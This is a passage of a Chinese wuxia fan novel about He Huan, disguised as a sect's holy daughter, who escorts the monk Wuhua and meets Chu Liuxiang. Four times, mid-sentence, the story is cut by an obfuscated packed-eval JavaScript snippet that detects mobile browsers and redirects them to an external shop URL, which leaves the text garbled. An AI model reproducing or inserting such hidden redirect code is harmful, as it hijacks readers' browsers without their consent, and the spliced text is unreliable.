“我只要看一眼就知道了。我不会看错的。她和少宫主的长相如同并蒂莲花,除非亲兄妹,不然怎会生的如此相像。而且,她也姓何……宫主,你当时带回来的为何是少宫主,为何不是神女呢……” 她的神情再度变得痛苦起来,蒙面人见状皱了皱眉,眼神中似有不屑,他从桌上放着的茶壶中倒出一滴水。又取了香盘中香料燃尽后产生的一点香灰。混合成指腹上一点香泥。放在阿芜的鼻尖晃了晃。 阿芜的神色又重归了混沌之中,显得宁静许多。 “你可知神女被认回之前,过的是怎样的生活?” 阿芜先是摇了摇头,随后又迟疑道:“我只听大家隐约提起过几句。好像是在一座与世隔绝的海岛上长大,所以对世事都不算了解。她从海岛出来在外游荡了许久,如果不是碰巧遇到了少宫主,将她带了回来……只怕境遇会更加糟糕。” 她说到这里,语气中便带了些怜悯,“或许是宫主对那个男人太过宠爱,才将神女留给他抚养,却没想到那男人这么不争气,连自己的孩子都养不好。” “没叫你说这个。”蒙面人冷冷打断她的话。他刚刚似乎被阿五的话触碰到了逆鳞。面上怒容明显。他双手攥拳,胸腔大幅度起伏了几次,才缓缓平静下来。 “你与神女相处多吗?她对此事是怎样想的?” “并不多,我…我没心情。” 蒙面人的声音又变得飘渺起来,带着蛊惑的意味:“她是宫主的女儿,也是你心上人的妹妹。你同她多相处一些,让她喜欢你,就能让宫主对你高看一眼、让少宫主感激你,这样你的感情怎能不有极大的进展,何乐而不为呢?” 魔魅般的语言与叵测的香气一起,留在了今晚的梦中,萦绕在对此毫无知觉的少女的潜意识里。 在第二天梦醒时,她会出于自己意愿的和神女亲近,殊不知会给有些人留下可以腐蚀的缝隙。 …… “阿芜,你已经送了我太多东西了。你对我好,我心中有数,又何必再拘泥于外物呢?”何欢看着阿芜又一次送来的银质手钏,神情无奈。他放下手中的书本,认真注视着阿芜的双眼劝她。 阿芜笑了一声,“我送你,是因为我看到这件首饰,就觉得与你的气质相符,希望看你戴上它们,没有别的意思。” 她坐在合欢身边,托腮叹气道,“神水宫每月都给我们发月钱,让我们有的花销。可我又不知道花在哪里。我本想为少宫主买些礼物。可就算我买了他也不肯收……更别提他现在根本不在宫里。” 她拉住何欢的手摇了摇,“如今,除了公主和少宫主,我最喜欢的就是你了。你就允了我这一点点小小的爱好吧。” 何欢不好推辞,只能在心中暗自决定,让何缨加倍的还礼物回去。与此同时,他思虑这样的两个身份欺骗众人终究是有些不妥。不知日后可有机会对众弟子说明这一切。 倘若此刻水母阴姬知道他心中所想,必定会借此机会教导他:上位者做决定,必要顾全大局,不可太过注重细枝末节。 何欢得她和王怜花教导,却不知哪里出了岔子,有时显得过于优柔寡断。令何欢再捏造一个身份出来,虽有惩罚他之意,也不乏水母阴姬的深思熟虑。一来让何缨作为神水宫圣女、水母阴姬的继承人,在江湖之中亮相,要比身为男性的何欢好得多,免得再惹争端,平白有流言蜚语污蔑神水宫清白。再者,何欢可慢慢淡离神水宫事务。水母阴姬所希望的局面,何欢的销声匿迹在神水宫人眼中,是宫主另有安排;而在世人眼中,何欢是个从头到脚都清清白白的普通人,这也是另一重安全身份。 父母之爱子,为其计之深远。 好在如今何欢也并未暴露,他只是无奈笑笑,将阿芜送的手钏戴在了手上,轻轻摇了摇,随即赞美,“很好看,我很喜欢。只是之前在……海岛上,没怎么带过这些,不太习惯罢了。谢谢你。” 阿芜就心满意足的离开了。 …… 蒙面人今日问过话后,便回到自己房间。他坐在椅子上,那页手抄的《法华经》还放在那里,今日终于又被他夹进经文中。 “亲生母亲富有一座地下宫殿、金银珠宝无数,财力在江湖中也是名列前茅。座下的一名小小女弟子,在以往的十几年中都过着衣食无忧,吃穿不愁的日子。神女阁下……回忆起曾经的苦难,真的没有一点怨怼吗?尤其是……你还有一个异母同胞、却过的不知比你好了多少的兄弟。”他眼中似有怜悯,似有嘲讽。他所怜悯的究竟是谁?真的是那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000548|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有数面之缘的神女吗?还是……处在同样境遇下的自己呢? 流淌在骨子里的自私血液、温养着不甘与野心。这一切在每日的早课诵经、一声声傲慢的放下之中,早已腐烂成难以预料的阴毒模样。宛如吐着芯子的毒蛇,盘亘在树梢上,等待一击即中的机会。 若能诱惑他人,共食苦果…… 毒蛇又怎会错过这个机会。 …… 水母阴姬并没有要求何欢与她一同听经。实际上,她也没有强迫弟子们去听。然而上行则下效,尤其司掌财务的万素认为既然为了请无花大师来,花了好一笔香油钱,就该好好把握好这个机会。她提议让弟子们晨起加一节大课,听无花大师讲经,然后再去上早课练功。他们练功的时候,无花大师就可以与宫主开小课探讨经文中的深奥佛理。下午便还无花大师一个清净,让大师专心抄录并诠释佛经,留给神水宫弟子们未来参考。晚上大师学够了,可能会有些疲惫,就可以出门弹弹琴、下下棋,顺便再让众弟子们通悟一下,全面熏陶嘛。 何欢对万素这个安排心有疑虑,然而另外三方好像都对这个安排并没有什么意见,他便也顺其自然。 妖怪化形,何欢对佛经并不感兴趣。无花一般晚上也不会真的出来献艺一般弹唱,便一直少有接触。其实合欢在江湖之中对妙?无花的名号已有耳闻。无花被人称为“七绝”,据说琴棋书画样样精通,这描述……很难不想到那一个人。也因此,他对无花既有好奇,也隐隐有回避心态。 哪怕如今江湖称其为“七绝”……那人怎会在这种事上落下风?只可惜,英雄虽未迟暮,已经退隐江湖,而江湖中,也难留下“败者”的史书。 今日却非同一般,晚膳后便有隐约琴声,弟子们都十分好奇,三三两两结作伴,想要去听。 阿芜也拉着何欢的手臂,“走嘛,我们一起去听听,我觉得这琴声远远听着,就很动人了。不凑近去听多可惜?” 不敬神女的时奉月也凑了过来,牵住了她的手,“要去听大师弹琴吗?带我一起吧。” 何欢无不可,点了点头,随着人群一起往琴声方向走。 古琴和寡,弟子们听个热闹,就开始窃窃私语。 阿芜也有些兴趣缺缺,她小声问何欢,“还要听吗?不然我们还是走吧,听着有些乏了。” 何欢按住她的手,轻轻摇了摇头。 “你感兴趣的话,我便陪你再听一会儿。” 对方所弹的,是名曲《普庵咒》,何欢认为,阿芜可以多听一会儿。她今日不知怎的,多有恍恍,还不时烦躁。无花于此颇有造诣,琴音对此有安抚作用。 然而,一曲终了,何欢却感知到一抹不应存在于此曲中的情绪。 此时月亮门内外,仅剩稀疏几名弟子,无花道,“某不善此技,见笑了。” 阿芜好奇,扯了扯何欢衣袖,小声问,“我听不懂,这是大师在自谦吗,还是真的一般?” 何欢神色自若,“可惜,我也听不懂。不过我猜,应当是自谦吧。” 16. 第 16 章 刚刚说留下的是何欢,如今格外想要离开的也是何欢。琴曲意为心外无物,可弹琴之人却有所求。他隐藏的很好,只是何欢对此格外敏锐。 他所求之物,必定无法光明正大的宣诸于口,不然只消告诉水母阴姬就可,为什么要借抚琴吸引一众单纯的女弟子前来?因此少与他交际,再将这事告知水母阴姬为好。 然而还留下的弟子们,或多或少都对无花有些好感。她们与无花小声交谈,虽说一夜产生的影响应当不大,何欢仍不放心置她们于不顾,只得在一旁安静听着。 …… “竟还有这种菜,只用豆腐就能做出肉的味道吗?当真神奇。”饶是何欢对他生出了警惕,也不得不承认无花非常擅长与人交际。与宫中弟子们聊佛经是聊不出一二的。何欢本以为她们浅谈一两句便会离去,不料无花竟自然而然与她们谈论到了吃食。 食色性也,少有人不感兴趣。以此为引,便可滔滔不绝。 “是啊,连我都好奇起来了。素鸡素鸭倒也罢了,炒素蟹粉是何滋味,真想尝尝。”一弟子憧憬道。 “我听说,螃蟹死去便不能再食用,因而难以运输,宫里也吃不到螃蟹呢……啊,是不是不该在大师面前说这个?” “阿弥陀佛,多谢施主。不必如此,我等僧人,只求约束自己。何况行走江湖,倘若这也听不得,那也听不得,不如灭五感,待在院中一辈子不下山。” 大家被逗乐,笑作一团。 阿芜突然问何欢,“神女,你吃过螃蟹吗?” 何欢迟疑了一下,点了点头,“吃的不多,此物清蒸即可,倒是…别有风味,只是吃起来有些麻烦。” “那神女吃过炒素蟹粉吗?味道当真一样?如果一样,我们宫内也可以学来试试呢。”其他女弟子也听得见阿芜与何欢的问答,兴致勃勃的问。 “这……不曾吃过。这斋菜听起来很是麻烦,我等应当吃不上吧。” 说到这里,何欢却想到一人。 对方肚子里简直有一部美食经,据说是因为朋友遍天下,朋友之中的名厨也格外多,因此各地美食都能品尝到一二。他与何欢聊天时,还说到自己与苦瓜大师是好友。说到这里,他最自豪的竟然是这朋友烧得一手好斋菜。不知这斋菜中,可有炒素蟹粉…… “神女,你想起什么,笑的这般开心?” 何欢一愣,摸了摸自己的脸颊,有些不好意思,“我原来笑了吗,真是惭愧。刚刚是想起旧日友人,他对食物一道颇有研究,与我讲过很多趣事。” 众人的注意力瞬间便转移到何欢这个友人上了。 “她与神女是怎么认识的?” “在酒楼里,他见我形只影单,就主动相邀,与我同坐,还请我吃了一顿饭。” “真是位豪爽的女侠……”众人惊叹。 何欢闻言眨了眨眼,却没有反驳。 确实,如今我是女子身份,那么让我称为朋友,还如此不设防的,应当也是女子。只好委屈一下陆小凤陆大侠了。 报时的钟声响起,众女惊呼,“呀,时候已经不早了,我们快快回去吧,明日还有早课呢!” 与无花道别后,她们脚步轻快的离开此地。 何欢离开前,鬼使神差地转头看了一眼无花,却见他在拭琴中也正巧抬起头来,与何欢遥相对望。 他微笑点头示意,露出坦然之色。 何欢犹豫了一下,也向他微微颔首。 第二天一早,何欢去拜访水母阴姬。 “进来就是,何必拘泥虚礼。”水母阴姬自练功台上下来。练功台为一莲花状坐台,放置在神水宫引来的瀑布之下,水母阴姬从瀑布中走出,衣裳依旧干爽整洁,不沾水汽。 何欢道:“我想同您聊一聊无花大师的事。” 他将事情经过细细道来,水母阴姬坐在桌旁,一边饮茶一边听他的担忧,待他说完,递过一杯茶。 “饮吧。这是自少林寺取来的禅茶,今年新得的,你能品出什么?” 何欢有些不解,然而他仍旧细观茶汤颜色、将茶放在鼻下细细嗅过,又轻抿一口,“汤色明亮,入口带有兰花香气,还有明显岩韵,这……” “没错,这是少有的大红袍,即便少林寺精心培养,一年产出也不过一斤之数。” “当真稀有。”何欢叹了口气,“岩茶难得,此种具有独特芬芳的茶叶,需要天时地利,历经苦寒,最终成熟,又要僧人安稳采下,才能制成茶叶,难怪是稀罕之物。” 水母阴姬又问,“从这茶叶中,你能觉出什么?” 何欢转了转手中茶杯,思索片刻道,“少林寺培养此等茶叶后,或卖或送出去,表明对钱财、以及势力之稳固仍有所求?” “不错,继续。”水母阴姬点头。 何欢继续揣摩,“至少此刻,少林寺有意与我们保持良好关系。但如果是出于无花一人之意……” 水母阴姬神色不变,只听何欢犹疑分析。 最后,她笑道,“不错,出门一趟还是有长进的。只是你要知道,倘若他不是奉少林之命前来打探,那么他的来意必有源头。如今贸然行动,只会打草惊蛇。而你替宫中众人着想,也不能遇见什么困难就将其掐死,自己劳心费时,众人也无法长进。” “神水宫只能救得了他们一时,却救不了一世。我收下她们,也不是为了将她们养成傻子。若要自救自立,又怎么能害怕苦寒?” 她语重心长,“我仍要提醒你,欢儿,优柔寡断并不是好事,一昧考虑细枝末节、想全部都要,到头来或许错过机会,什么都成不了。” “是,母亲,我记下了。”何欢认真道。 “嗯。既然你已经发现了他有问题,那这次事情便交由你处理吧。”水母阴姬见他又在迟疑,无奈摇头,“若真放心不下,允你谨慎一回,将他带出神水宫处理了。” “是,多谢母亲。” 没有对其他弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000549|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的担心,相对何欢而言便是减轻极大负担。只是,无花来宫内好似将将一周,要如何不露声色的令他快快离开,与此同时又能跟住他呢…… 何欢今日思忖良久仍未想到办法,却不知第二日机会便来了。 “阿芜生病了?怎么回事,前几日还好好的。”今日晨起没有见到阿芜,何欢去饭堂时同其他弟子问起,却听到她们说阿芜请了病假,早课也没有来。 “不知道,听声音也不像是风寒,算算她的小日子快到了,许是之前贪凉,如今来了葵水便格外痛吧。” 何欢没想到是这种原因,听到又有弟子问他,“神女要去看看阿芜么?” 她犹豫了一下,摇了摇头,“我就不去了,即便去了,也只是劳她费心费神招待我,让她好好休息吧。” 对方好像也觉得有礼,点点头道,“那就不去了吧。神女来的时候会痛么?” 何欢咬了咬唇,被弟子认为他不好意思了,就又补充,“唉,神女,我没有别的意思,只是咱们练的内功阴寒,住的地方也较地上更冷一些,所以大家多多少少都有宫寒之症。即使宫主宽宏大量,每月都给我们拨草药来煮,也难根治。我只是想知道……如果在地上长大……也那么痛吗?” 何欢虽不是女子,因为曾在药房做工,以往也听其他女子说起过这事,他沉默片刻,道,“地上的女子……即便没有练习阴寒内功,住在朝阳的房子里,也会因为各种各样的事情受寒、受累,来时也会疼痛难当。” 弟子小声嘟囔,“真难啊……” 何欢轻声道,“我知道一张方子,很是有效,我出去配些药给你们,你们试试。” 弟子有些怯怯,“这…当真可以吗?会不会太麻烦神女。” 何欢笑,“可以,不麻烦。” …… 水母阴姬问,“那无花之事你打算怎么办。” 何欢敛眉,“可一并办,我听闻少林寺有一门俗家内经,与武道而言虽平平无奇,但有健体养阳之功效。无花若真有所求,与我一同去少林寺,白得我一个人情,怎会不愿。” 水母阴姬点头,“你既想到,就去做吧。” 无花果然同意了。他问何欢,何时动身。 何欢说,不如明早就走。 无花面露难色,何欢又问,“大师可是还有顾虑?” 无花道,“月前宫主请贫僧前来讲经,既然已同意施主与贫僧同行,此事也算已毕。只是……江湖中人言可畏,施主若以此身份面貌与贫僧一起出现在众人面前……” 何欢点头,问他,“大师以为如何?” 无花苦笑,“我有一计,只是恐冒犯施主。” “怎会,大师请讲。” “还望施主与贫僧同行时……扮做男儿,且神女这个身份,是用不得了。” 何欢一愣,随后低下头,在无花看来,沉吟片刻后道,“合该如此。那么明日,请大师出去后,在瀑布旁等我。” 17. 第 17 章 “宫主本来要求你男扮女装在外面待三个月,如今倒让你讨到巧了。”宫南燕坐在他身边看他梳妆,语气中不乏戏谑。 “这难道是什么好事吗?”何欢摇头苦笑,“既要缩骨易容成女人,又要在此基础上,在鞋子中垫上增高、多穿几件厚实衣服伪装体型,打扮成男人。而以何缨的技术,还不能真的像个男人,须得在不经意间露出破绽、表现出小女儿的姿态……这可比男扮女装要难上许多。” 宫南燕虽似懂非懂、很难感同身受,但仍替他想办法。她看着目前仍然像个小女孩儿的何欢,不自觉摸了摸他的头发,“倘若真的这样难,不如就去求求她,服个软,干脆不要这个神女的身份。再将这和尚杀了,曝尸荒野,一了百了。只跟少林寺那边说不知道这件事就罢了,如何?” 虽然已经料想到她提出的建议会十分凶残,每次听到何欢仍然深感震惊,他看向宫南燕,只一眼,便让宫南燕悻悻作罢。 “好嘛。你是三思熟虑的好人,只我一个做直截了当的坏人。”她被何欢以眼神教训了,便有些不快。扭过头,不再去看何欢,只是拨弄他手边首饰盒里装着的金钗手钏。 看着看着,她便忘记了刚刚的别扭,饶有兴致地从中拿出一条络子,“这络子歪歪扭扭,定是别人亲手做了送你,快说,是谁给你打的?” 何欢闻言,便向她手中拿着的络子看去。络子上红绳与银子绞在一起,在烛光下闪烁,很是别致漂亮。他对这络子也有印象,正因为有印象,才不知如何处理,放在匣子最底下压好。。 “是阿芜。”何欢叹了口气。 “叹气做什么?她给你送络子,不过是因为喜欢你,又不求着你喜欢她。干嘛为了这个发愁呢?” “她从未说出口,我也无法直言拒绝。让她一直在我身上浪费时间,做无用功,便会觉得有所亏欠。我也知道无需如此……只是性格使然。” “你亏欠什么?你逼着她喜欢你的吗?”宫南燕嗤笑一声,“我看啊,你就是被养得太好、要做的事情太少,才会想东想西的。真想拒绝的话又何须等她告白之后再说。就像宫主曾经拒绝我那样,直接将她私下里约出来,跟她讲:‘你是个好姑娘、只是我对你没有感觉。’ 阿芜又不像我这般厚脸皮,你只需要这样一说她就能断了心思。” “倒也不必如此贬低自己……母亲是多么口是心非的人,你难道不知道吗?”何欢叹气,“不过,你说的也对。等我此次回来,便约她私下里说明白。” 宫南燕点头。随后她眼珠有一转,兴致勃勃地问道。“所以你真的对女人不感兴趣,已经试过了,一点兴趣都没有?” 何欢一愣,随后老实道,“我只喜欢过一个人,不过恰好他是男人。可后来……嗯,你知道的。至那以后,我便有些退缩,也再没喜欢过谁,旁人于我而言,好似并无性别之分。你突然这样问起……实话讲,我也不晓得。” “好吧,小屁孩。”她哼笑,不知在得意什么。 “好了,你觉得这样如何?”何欢终于收拾好,他站起身,在屋子里走了几步,问宫南燕。 “嗯……看起来的确像个男人,不过又有些怪怪的。”宫南燕思索片刻,恍然道,“哦,这就是你说的既要像男人、又不能完全像男人,是吧?” “正是如此。”何欢点头,“时间也差不多了,那么,我拜别母亲,就出门了。” “嗳,”宫南燕拉住了他,“那么早干什么,你让那和尚再等等。” 何欢不解。 “你不是觉得他别有用心吗,这种别有所求的人,付出的越多,越觉得拿到手的东西越真实。”宫南燕笑,“听我的,让他等等。” …… 无花在远离瀑布的一块石头上打坐。 银白瀑布自高悬崖边坠落,气势浩浩汤汤,水汽弥漫。一里开外的树木叶上也有水雾笼罩,更显得叶子碧绿。水雾顺势汇聚成水珠滚落,偶尔落在无花的僧衣下摆上,他却恍若不觉。相比于已经在这里等了半个时辰,几滴水珠溅在衣摆上,并不足以让人焦虑。 他擅长等待,也擅长忍耐。如同最优秀的猎手,为了捕捉猎物,可以在暗处潜伏一天一夜。因为等待的时间越长,越能降低猎物的警惕性,也就越容易成功。 “劳大师久等了。”伴随马蹄声,一道难辨雌雄的声音响起,无花起身,看向何欢前来的方向,微笑双手合十,“好精巧的易容,如果不是施主开口,贫僧恐怕不敢相认。” 何欢下马,牵着马靠近了些,低头有些腼腆的笑了。他一笑,便让人觉得他必定是女扮男装的女孩子,“大师谬赞了,宫内姐姐教了我许久,所以才来的迟了……我们这便走吧?” “稍等,”无花稍带歉意,“不知出门后又该怎么称呼施主?” “啊?”何欢不解。 无花好脾气解释道,“我们一同出行,再称施主便有些疏远了,若太过疏远,恐让人看出不对,还需作朋友称呼,更加隐蔽。” 他如今所言所行,句句好像都在理,又好像完全是在诡辩。明明同样是为了拉近距离,这种行径却带着一□□哄与恶意。何欢垂下眼眸,使得无花看不起他的神色,似是琢磨了片刻,他道,“那么,我便直称大师为无花,大师叫我王英就好。” 王?这姓氏是她父亲那边的姓氏吗?无花点头接受,两人这才出发。 一路南下,有神水宫提供的马匹,行进速度并不慢。无花带着何欢走官道,一般而言是住在客栈,简单吃食。偶尔投宿乡野人家,在透风泥墙底的柴堆旁住下,吃的是冷到的掺着麦麸的硬饼子。 他在观察何欢。何欢如他所愿,虽然有些迟疑,仍旧吃下大饼,看起来并没有难以下咽的模样,想必是接触过这等吃食——也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000550|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进一步说明,她以前生活过得并不富足。 无花歉疚道,“可还能下咽?我对这边的官道不太熟悉,错估时间,以至于不得不让你住在乡下。而贫苦百姓,向来都是这般吃食……”他眉宇间透露出一股悲天悯人的气质,好似在为众人之苦而难过。 何欢看着他,沉默半晌,摇了摇头,“这饼很好,很是压饿,也无发霉的地方或者发馊的味道。他们给你,就表明他们虔诚信佛。我是沾了大师的光。” 无花含笑望着他,眼神中似有赞赏,“英弟此言,恰合‘历劫遍行慈(注1)’之道,是有慈悲之心的体现,说不定,与我佛有缘。” “我哪有什么慈悲之心……”何欢喃喃。 无花闻言,轻勾唇角,笑容显得比方才真实了许多。然而何欢低垂着头颅,并未看到。 又几日后,缘溪而行,再次宿在山野间。何欢本以为又要吃些干粮,却不曾想无花竟采来野果野菜,又掏出一些林中菌子,“劳累多日,不妨尝尝我的手艺。” 不管他们彼此心中作何打算,这几日相处,面上却是越发熟悉了。何欢隐约察觉到无花与以往献殷勤之人相似的一些举动,但相比之下无花的行为更多了一层朦胧之感,退一步便是对众生之爱,进一步则是“不敢看观音”。 何欢道,“虽然没听说过七绝妙僧还会做饭,但既然你这样说,我就坐着期待你的手艺了。” 无花抚掌,“当真只坐着吗?若有心,你倒也可以替我将这果子洗了,再尝尝味道。” 说罢,他将野果子抛过来,何欢伸手接住。 “好鲜艳的红果子,你确定能吃么?”何欢笑问。 “这是沙果,可以吃的,只是不确定是酸是甜。” 何欢就去溪边洗干净果子,走近无花,递给他一颗,“劳者先食。” 无花有些讶异,他接过果子,“多谢,只是贫僧如今也不过二十余岁,应当称不上老者吧?” 无花只见何缨一愣,随后露出与那张修饰过的脸不甚符合的娇美笑容,声音也变回原本的莺啼般清脆,“并非这个老者,是劳力的劳,多谢无花大师勤恳做饭的意思。” 无花早便知道她生的貌美,只是在神水宫中往往因为母亲积压甚重而表现的温柔沉默,寡言少语。如今此等笑靥,倘若是用原本那张脸孔做出,又该是何等的动人呢。 他原本让何缨扮作男装,只是为了降低她的警惕性,同时更方便拉近彼此之间的距离,如今却有些庆幸。若让母亲知道有这样一位年轻貌美的少女……以石观音的性格,即便知道这是神水宫的神女,也要惹出些是非来。 他心思转动间,也不妨碍面上露出有些无措的神情,随后像是害羞一般,转过头去只耐心看着火堆里的饭包,露出和手中沙果一般红的耳朵。 片刻后,他才轻声道,“是我会错了意,英弟莫怪。” 18.第 18 章 水母阴姬常说当年那人趁何欢少不更事,仗着近水楼台,千方百计地诱导何欢爱上他。一般这时,还会连带着骂一骂将何欢随便放在别人家里的王怜花。如今,何欢真想水母阴姬就在身旁,让她看看,什么样子算是真正的巧言令色,诱哄感情。 饶是何欢已经对他心怀戒备,仍然在其如同春风化雨般的温柔之中放下心防。抛开这份温柔,无花与人相处最要命的一点,是他以不可为之身份,行不可为之事。在一粒一粒拨动的念珠之下,在克制与忍耐、理性与感性的斗争之中,无可避免的透露出一抹情谊的踪影,叫人捉摸不透,于是越发想要探究。 若非何欢由于种种缘由对此道见多识广,更是很难察觉到他隐约的引诱,只当自己无法抑制的产生的心动。 行至江域附近,需弃马而乘船。两人前往船行,却听见客栈有人在讨论“盗帅楚留香”之事。何欢面露好奇,无花见状,便同他解释。 “楚留香其人在江湖上颇负盛名,众人皆知他英俊而豪爽,有一身出神入化的轻功。” 何欢问,“盗帅之名,是因为他轻功高强,偷盗从未被抓获吗?这样听来好像是个坏人,怎么你言辞之中好似对他还有赞赏之情?” 无花无奈笑笑,悄声道,“只因这人是我的朋友。所以他纵使有些毛病,我也说不出他的差来。” 这时,旁边有一大汉经过,突然拉住了无花的手,“啊呀,这不是素有七绝之称的妙僧无花吗!” 闻言,路边议论声瞬间大了起来。 无花神色一肃,“虚名而已,施主谬赞了。”他反掌想要躲开这人的禁锢,却不曾想连连变换五种招式,对方的手仍然紧紧贴在他僧衣之上,何欢见状,正想插手,就看见无花的神色由肃穆变向无奈。 “阿弥陀佛,当真不该背后说人。纵使贫僧自认为问心无愧,谁知那人会不会生气呢。” “无花大师说什么,在下当真听不懂。只觉得与大师难得一见,不妨一同走走,顺便吃顿斋饭,我来请客。” 此时,他又转头看向何欢,他先是一愣,随后又哈哈一笑,“这位小兄弟不如也一起?” 从这两人话中,何欢已猜出来人是谁。他犹豫片刻,点了点头。 这壮汉就顺势放开了无花的手,揽住了他的肩膀,连带着无花一起,走在何欢一侧半尺开外。 他们之间的距离,简直可以再塞下一个无花。道路本就拥挤,何欢看他们这样走也别扭,好意提醒,“大师不如靠近些,如今只怕会挡车马道。” 无花闻言也觉得不对,他看向那壮汉,低声道,“香帅,不妨错开些距离。” 这人自然就是易容后的楚留香,他也低声同无花道,“咱们往前走走,”随后问。“小兄弟,你可跟得上?” 何欢点头,就见楚留香扯着无花走到前面去了。 按理来说,这两人的对话何欢应当听不见,只可惜他五感与人类不同,就听见前面两人窃窃私语。 楚留香问:“无花啊无花,你与这小兄弟是什么关系?” 无花道:“我自回寺途中遇到他,他说想往少林去,求一门功法救疾,我便与他同行了几日。” 楚留香又问:“那你可知道,你需得与他保持一定的距离?” 无花一挑眉,明知故问,“哦?为何?” 楚留香咬了咬牙,然而他并不想甫一见面就揭穿他人的易容,就义正言辞胡诌道,“我会看相,你两人八字相冲,待的太近容易出现灾祸。” 无花便陪他演下去,“这倒是巧了,我与这小兄弟一见如故,且他也会卜算之法,行囊中有一龟壳,曾同我算命,说我们结伴出行,诸事顺遂。” 楚留香转头看过来。 何欢装作什么都没听懂的冲他微笑。 谁也不知香帅心中如今想的却是:大师啊,不管她算命算的对不对,我说的一定不差,你就要遇女祸了。 三人寻得一处酒楼包厢入坐,点了几样素菜米饭,伪装成大汉的楚留香看向何欢,“听说小兄弟会算命?” 实则那龟壳是买来入药用的,但何欢与无花对视一眼,就明白这谎话还得再编下去。 他道,“略懂一些,怎么,香帅想要算今日成事与否吗?” 原来刚刚船行那边,正有人说到盗帅的郁金香信笺,寄到了皇商张家手中,直指张家新得的一尊“鸽血珊瑚”。 他们刚刚要去的,也正是张家手底下的船行。如今是不往外赁船的。实际上,各船行也会给张家一个面子,今明两晚皆不往外赁船。而那尊鸽血珊瑚若要保证品相,除了水路,只能待在马车上。接下来几日,也已商议好若有马车出城,需得盘查。 楚留香笑而不语。 “连张家都认为楚留香能偷到那尊珊瑚了,只能在拦截上下功夫,他又何必算。”无花解释。 何欢闻言,笑道,“若是有把握能成事,又何必算;若并无把握,算出败事也只是徒增压力,不如不算。” 楚留香奇道:“这话不假,可我第一次见卦师说这般话,那么,你认为何事需得一算?” 何欢思索片刻,“原也没有什么事是非算不可的,只是不同人得了卦象,也会有不同应对。有人要求心安,来卜上一卦;有人游移不定,需得卦象推动一把。” “这么说来,算卦一说是骗人的。”楚留香戏谑望向何欢。 何欢注视着他,笑道,“人要呼吸,实现外界与身体的气息交流,却不了解一呼一吸、内外之间的差异,“气”好似永恒存在于无形之中。那么,呼吸是骗人的么?” “卦象、运道皆是如此,无法触碰,却萦绕在人的四周。人靠五感确认“气”的存在,也有五感之外的感知,可以捕捉到“运”的存在。” 此刻门响,有小二来送菜,何欢注视着他,片刻后突然道,“恭喜。” 小二不明所以,但还是与他拱手作揖,向他道谢。 待小二出门不远,包厢内三人已高深内力就听到有人向他报喜,喜得麟儿。 饶是楚留香与无花,也愣在当场,何欢学着楚留香的样子,戏谑道,“那么,这也是骗人的吗?” 楚留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007004|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香心服口服,“是我小瞧小兄弟了。” 何欢不置可否。他已察觉到楚留香对他的排斥,而归其原因……大约是以为他是个女人,却上赶着缠住无花吧。这人对朋友倒是好,就是…… 他看向楚留香依旧怔愣的表情,心想:就是眼神不太好使。 又想起所谓的盗帅称呼,他心下狐疑:莫非是蛇鼠一窝? “我也有个问题想问香帅。”何欢开口。 对方道:“必定知无不言。” “香帅武艺高强,为人豁达,为何非要以盗窃一事扬名?” 楚留香闻言,沉默片刻。 “若有难言之隐,香帅便当我没有问过。” 楚留香苦笑:“并非如此,只是说来便有些自吹自擂之意。” 无花替他道,“他便是‘侠之盗者,锄强扶弱’,做劫富济贫之事,也正因如此,才惹人称道。” 何欢望向他,见他摸了摸鼻子,面上神色并无自豪,眼神中确实有些羞赧,只是因为□□太厚,分不清神色。 “不过杯水车薪罢了。” 席间静默。 皆知众生苦…… “所谓华美饰品,耗费人力物力,挥金如土,最终目的不过是摆来炫耀。”何欢开口,“究其价值,实则无几。倘若香帅之举,传到他们耳中,能让此等权贵有所畏惧,抑住奢靡风气,也算自根源减少百姓之苦。” 说话人的眼中并非是楚留香本身,而是他伪装成的粗犷汉子,而对方真实的模样他也无从得知。然而此时此刻,他像是接触到了某个与自身相似又有所不同的灵魂,心门被猛地一叩,便自心脏开始震颤。 他掩饰道:“我却……从未听说过这种观点。” 